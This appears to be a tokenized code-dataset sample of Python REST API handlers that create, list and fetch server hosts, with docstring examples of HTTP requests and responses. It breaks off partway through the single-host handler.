"Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "host", "s", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "server", "1", "\"", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "server", "2", "\"", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "host", "s", "/", "example", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", ":", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "s", "\":", "\\", "10", ";", " ", " ", " ", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "testserver", "1", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "testserver", "1", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "4", "2", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "testserver", "2", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "testserver", "2", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "4", "3", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "testserver", "3", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "testserver", "3", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "4", "4", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Host", "s", "\":", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "host", "name", ":", " ", "The", " ", "host", "name", " ", "of", " ", "the", " ", "server", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "resh", "eader", " ", "Locat", "ion", ":", " ", "URL", " ", "to", " ", "the", " ", "created", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "The", " ", "Host", " ", "was", " ", "success", "full", "y", " ", "created", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "host", "s", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "host", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "[_", "{_", "\"", "host", "name", "\"_", ":_", "self_", "._", "jbo", "dy_", "[_", "\"", "host", "name", "\"_", "]_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "HOST", "S", ":", " ", "Creat", "e", " ", "{}\"_", "._", "format_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "[_", "\"", "host", "name", "\"_", "]_", "for_", "host_", "in_", "hostnames", "_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hosts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "hostname_", "in_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "Host_", "._", "create_", "(_", "self_", "._", "session_", ",_", "hostname_", "[_", "\"", "host", "name", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", "._", "append_", "(_", "host_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "err_", "._", "orig_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exc_", "._", "Validat", "ion", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "hosts_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "=_", "hosts_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "created_", "(_", "\"/", "api", "/", "v1", "/", "host", "s", "/{}\"_", "._", "format_", "(_", "hosts_", "[_", "0_", "]_", "[_", "\"", "host", "name", "\"_", "]_", ")_", ",_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "created_", "(_", "data_", "=_", "{_", "\"", "host", "s", "\"_", ":_", "hosts_", ",_", "\"", "total", "Host", "s", "\"_", ":_", "len_", "(_", "hosts_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "HOST", ":", " ", "Creat", "ed", " ", "{}\"_", "._", "format_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "host_", "[_", "\"", "host", "name", "\"_", "]_", "for_", "host_", "in_", "hostnames", "_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Host", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Host", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "host", "s", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "server", "1", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "server", "1", "\",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Host", "s", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "name", ":", " ", "(*", "option", "al", "*)", " ", "Filter", " ", "Host", "s", " ", "by", " ", "host", "name", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "Query", ":", " ", "(*", "option", "al", "*)", " ", "the", " ", "query", " ", "to", " ", "send", " ", "to", " ", "the", " ", "plugin", " ", "to", " ", "come", " ", "up", " ", "with", " ", "the", " ", "list", " ", "of", " ", "hostnames", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "name", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "query_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "Query", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hosts_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hostname_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hosts_", "=_", "hosts_", "._", "filter", "\\u", "by_", "(_", "hostname_", "=_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "host", "\\u", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "hostnames", "_", "._", "append_", "(_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "host", "\\u", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hosts_", "=_", "hosts_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "hosts_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Host", "s", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "host", "s", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "for_", "host_", "in_", "hosts_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Host", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Host", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "hostname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Host", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "host", "s", "/", "example", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "events", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "last", "Event", "\":", " ", "\"", "201", "5", "-0", "5", "-0", "5", " ", "2", "2", ":", "13", ":", "11", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "host", "name", ":", " ", "host", "name", " ", "of", " ", "the", " ", "Host", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "host", "name", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "labor", "s", ",", " ", "events", ",", " ", "event", "types", ",", " ", "quest", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "of", " ", "child", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "child", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Host", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter", "\\u", "by_", "(_", "hostname_", "=_", "hostname_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "host_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Host", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "host_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "limit", "\"_", "]_", "=_", "limit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "offset", "\"_", "]_", "=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "labor", "s", " ", "and", " ", "quest", "s_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quest", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "will", " ", "perform", " ", "labor", " ", "and", " ", "quest", " ", "expansion", " ", "here", " ", "b", "/", "c", " ", "we", " ", "want", " ", "to", " ", "apply_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "s", " ", "and", " ", "offsets_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "labor", "_", "in_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "._", "get", "\\u", "labor", "s_", "(_", ")_", "._", "limit_", "(_", "limit_", ")_", "._", "offset_", "(_", "offset_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Labo", "r_", "._", "creati", "on", "\\u", "time_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "labor", "s", "\"_", "in_", "expand_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "labor", "_", "._", "id_", ",_", "\"", "href", "\"_", ":_", "labor", "_", "._", "href_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "labor", "_", "._", "quest_", "and_", "\"", "quest", "s", "\"_", "in_", "expand_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "s_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "_", "._", "quest_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "labor", 